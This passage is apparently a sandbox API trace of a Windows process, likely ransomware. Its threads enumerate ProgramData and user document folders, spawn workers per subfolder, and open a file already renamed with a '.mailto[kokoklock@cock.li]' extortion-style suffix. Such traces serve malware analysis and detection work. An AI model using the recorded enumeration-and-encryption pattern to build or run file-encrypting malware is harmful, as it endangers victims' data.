[0169.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87f70 [0169.357] wcscpy (in: _Dest=0x2f87f70, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0169.357] wcscat (in: _Dest=0x2f87f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\" [0169.357] wcscat (in: _Dest=0x2f87f70, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" [0170.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0170.962] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0170.962] FindClose (in: hFindFile=0x2f7fc60 | out: hFindFile=0x2f7fc60) returned 1 [0170.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0170.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0950) returned 1 [0170.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88948) returned 1 [0170.962] RtlExitUserThread (Status=0x0) Thread: id = 1835 os_tid = 0xf74 [0169.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2fa09a8 [0169.357] wcscpy (in: _Dest=0x2fa09a8, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0169.357] wcscat (in: _Dest=0x2fa09a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0169.357] wcscat (in: _Dest=0x2fa09a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" [0169.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021648 [0169.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045328 [0169.358] wcscmp (_String1=".", _String2=".") returned 0 [0169.358] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.358] wcscmp (_String1="..", _String2=".") returned 1 [0169.358] wcscmp (_String1="..", _String2="..") returned 0 [0169.358] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0169.358] wcscmp (_String1="DMProfiles", _String2=".") returned 1 [0169.358] wcscmp (_String1="DMProfiles", _String2="..") returned 1 [0169.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87d68 [0169.358] wcscpy (in: _Dest=0x2f87d68, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0169.358] wcscat (in: _Dest=0x2f87d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0169.358] wcscat (in: _Dest=0x2f87d68, _Source="DMProfiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" [0170.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0170.959] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0170.959] wcscmp (_String1="Profiles", _String2=".") returned 1 [0170.959] wcscmp (_String1="Profiles", _String2="..") returned 1 [0170.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a28 [0170.959] wcscpy (in: _Dest=0x2f87a28, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0170.959] wcscat (in: _Dest=0x2f87a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0170.959] wcscat (in: _Dest=0x2f87a28, _Source="Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0170.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0170.960] FindNextFileW (in: hFindFile=0x3045328, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0170.960] FindClose (in: hFindFile=0x3045328 | out: hFindFile=0x3045328) returned 1 [0170.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021648) returned 1 [0170.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa09a8) returned 1 [0170.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88e18) returned 1 [0170.960] RtlExitUserThread (Status=0x0) Thread: id = 1836 os_tid = 0xf78 [0169.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f876b0 [0169.359] wcscpy (in: _Dest=0x2f876b0, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0169.359] wcscat (in: _Dest=0x2f876b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0169.359] wcscat (in: _Dest=0x2f876b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\*" [0169.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022988 [0169.359] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045368 [0169.360] wcscmp (_String1=".", _String2=".") returned 0 [0169.360] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.360] wcscmp (_String1="..", _String2=".") returned 1 [0169.361] wcscmp (_String1="..", _String2="..") returned 0 [0169.361] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0169.361] wcscmp (_String1="Reader_15.007.20033", _String2=".") returned 1 [0169.361] wcscmp (_String1="Reader_15.007.20033", _String2="..") returned 1 [0169.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f62dd0 [0169.361] wcscpy (in: _Dest=0x2f62dd0, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0169.361] wcscat (in: _Dest=0x2f62dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0169.361] wcscat (in: _Dest=0x2f62dd0, _Source="Reader_15.007.20033" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" [0170.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f62dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0170.955] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0170.955] wcscmp (_String1="Reader_15.023.20070", _String2=".") returned 1 [0170.955] wcscmp (_String1="Reader_15.023.20070", _String2="..") returned 1 [0170.955] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f67c30 [0170.955] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0170.955] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0170.955] wcscat (in: _Dest=0x2f67c30, _Source="Reader_15.023.20070" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" [0170.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f67c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0170.956] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0170.956] wcscmp (_String1="S", _String2=".") returned 1 [0170.956] wcscmp (_String1="S", _String2="..") returned 1 [0170.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87278 [0170.956] wcscpy (in: _Dest=0x2f87278, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0170.956] wcscat (in: _Dest=0x2f87278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0170.956] wcscat (in: _Dest=0x2f87278, _Source="S" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S") returned="C:\\Users\\All Users\\Adobe\\ARM\\S" [0170.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0170.957] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0170.957] FindClose (in: hFindFile=0x3045368 | out: hFindFile=0x3045368) returned 1 [0170.957] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022988) returned 1 [0170.957] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0170.957] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0170.957] RtlExitUserThread (Status=0x0) Thread: id = 1837 os_tid = 0xf7c [0169.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2fa0a00 [0169.361] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\Default\\Documents\\My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0169.361] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0169.361] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*" [0169.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.361] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0169.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0169.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1900) returned 1 [0169.365] RtlExitUserThread (Status=0x0) Thread: id = 1838 os_tid = 0xf80 [0169.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa48a0 [0169.366] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\Default\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0169.366] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0169.366] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*" [0169.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.366] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.368] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0169.368] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0169.368] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0169.368] RtlExitUserThread (Status=0x0) Thread: id = 1839 os_tid = 0xf84 [0169.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2fa0a00 [0169.369] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\Default\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0169.369] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0169.369] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*" [0169.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.369] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0169.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0169.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88f78) returned 1 [0169.371] RtlExitUserThread (Status=0x0) Thread: id = 1840 os_tid = 0xf88 [0169.372] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87fd8 [0169.372] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\Default.migrated\\Documents\\My Music" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music") returned="C:\\Users\\Default.migrated\\Documents\\My Music" [0169.372] wcscat (in: _Dest=0x2f87fd8, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music\\") returned="C:\\Users\\Default.migrated\\Documents\\My Music\\" [0169.372] wcscat (in: _Dest=0x2f87fd8, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Music\\*" [0169.372] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.372] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0169.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0169.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0169.374] RtlExitUserThread (Status=0x0) Thread: id = 1841 os_tid = 0xf8c [0169.375] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f64ad0 [0169.375] wcscpy (in: _Dest=0x2f64ad0, _Source="C:\\Users\\Default.migrated\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures" [0169.375] wcscat (in: _Dest=0x2f64ad0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures\\") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures\\" [0169.375] wcscat (in: _Dest=0x2f64ad0, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*" [0169.375] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0169.375] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0169.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f64ad0) returned 1 [0169.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87dd0) returned 1 [0169.377] RtlExitUserThread (Status=0x0) Thread: id = 1842 os_tid = 0xf90 [0169.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87fd8 [0169.378] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\Default.migrated\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos") returned="C:\\Users\\Default.migrated\\Documents\\My Videos" [0169.378] wcscat (in: _Dest=0x2f87fd8, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos\\") returned="C:\\Users\\Default.migrated\\Documents\\My Videos\\" [0169.378] wcscat (in: _Dest=0x2f87fd8, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Videos\\*" [0169.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.378] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0169.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0169.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87e38) returned 1 [0169.380] RtlExitUserThread (Status=0x0) Thread: id = 1843 os_tid = 0xf98 [0169.381] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.382] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" (normalized: 